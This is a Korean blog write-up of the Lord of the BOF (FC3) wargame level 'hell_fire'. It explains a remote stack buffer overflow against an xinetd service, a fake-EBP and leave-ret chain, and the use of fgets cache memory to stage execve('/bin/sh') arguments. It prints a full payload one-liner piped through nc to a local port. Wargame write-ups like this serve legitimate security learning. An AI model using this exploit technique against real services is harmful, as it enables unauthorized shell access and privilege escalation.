농소

The Lord Of The BOF (FC3) // dark_eyes -> hell_fire 본문

Wargame/The Lord Of The BOF (FC3)

The Lord Of The BOF (FC3) // dark_eyes -> hell_fire

농소 2018. 3. 6. 03:08

[ hell_fire ]




이번문제느 remote bof를 이용하라고 나오네요

그리고 fake ebp나 got를 이용하면 된다고하니 저는 fake ebp를 이용해 보겠습니다.



공격할 파일을 본 결과 setuid가 걸려있질 않아 RTL을 이용해도 권한이 떨어지질 않습니다.

소스코드를 보면 알듯이 슈퍼데몬을 이용하여 공격을 해야하는데요



해당 xinetd.d 디렉토리에 들어가 hell_fire를 보면 알 듯이

이 파일을 원격으로 접속할때는 사용자가 hell_fire인것을 알 수 있습니다.

즉, 원격으로 할 시 setuid설정이 되어있다고 보시면됩니다.


즉 파이프라인으로 공격할 때 nc를 이용하여 원격접속을 이용하면 될것입니다.


payload | ./hell_fire ( x )

payload | nc localhost 7777 ( o )



대충 eip까지 범위를 더미로 채워 확인해 본 모습입니다.

코드에서 확인하셨듯이 sfp는 변경할 수 없게 되어있습니다.

그런데 이 sfp가 가르키는 주소의 위치가 반복 실행해 보아도 sfp보다 88바이트 떨어진위치에 있는것을 알 수 있습니다.

이 점을 이용하여 fake ebp를 만들어 주면 될것 같네요



정리하면

dummy(268) | leave-ret | dummy(88) | fake ebp | leave-ret 

이런식으로 진행이 될것이고 fake ebp위치는 leave 뒤에 해주면 될 것입니다.


허나 RTL을 이용하게되면 맨끝에 "\x00" 이 존재하기에 인자를 구성할 수가 없습니다.

하지만 이 문제에서는 fgets를 사용하므로 cashe메모리를 이용하면 인자도 마음대로 이용할 수 있게됩니다.

그러므로 fake ebp의 주소는 cashe메모리를 이용하면 되겠네요


strace를 이용하여 fgets의 cashe메모리의 주소를 확인해 봅시다.



strace를 이용하여 해당주소가 캐쉬 영역임을 확인했습니다.

gdb로 살펴보면



그전에 입력했던 내용이 그대로 캐쉬메모리에 들어가 있습니다. 

캐쉬메모리를 이용하므로 인자를 마음대로 구성할 수가 있기에 execve를 이용하도록 하겠습니다.

execve의 위치는 마지막 leave다음에 둘 생각이므로 fake ebp는 execve보다 4바이트 작은 위치에 두면 되겠습니다.


자 이제 인자를 만들어 봅시다

execve( "/bin/sh", *argv[ ], NULL );

execve( "/bin/sh", { "/bin/sh", 0 }, NULL );

이런식으로 인자를 채워주면 됩니다


payload

dummy(268) | leave-ret | dummy(88) | fake ebp | leave-ret | execve | dummy(4) | /bin/sh | *argv[ ] | NULL |

페이로드를 만들어보면 이렇게 됩니다.


이제 주소들을 확인하고 인자에 실제로 값을 넣게 된다고 가정했을경우 payload를 짜본다면


(python -c 'print "A" * 268 + "\x61\x85\x04\x08" + "A" * 88 + "\x6c\xe1\xff\xf6" + "\x61\x85\x04\x08" + "\x90\x54\x7a\x00" + "AAAA" + "\x8c\xe1\xff\xf6" + "\x84\xe1\xff\xf6" + "\xb0\xe1\xff\xf6" + "\x8c\xe1\xff\xf6" + "\x00\x00\x00\x00" + "/bin/sh\x00"';cat)

이런식이 되고 3번째 인자인 null같은경우 null값인 주소를 넣으셔도되고 null값을 자체적으로 넣으셔도 상관없습니다.


이제 이 payload를 원격으로 공격을 하면


성공적으로 권한이 상승 되었습니다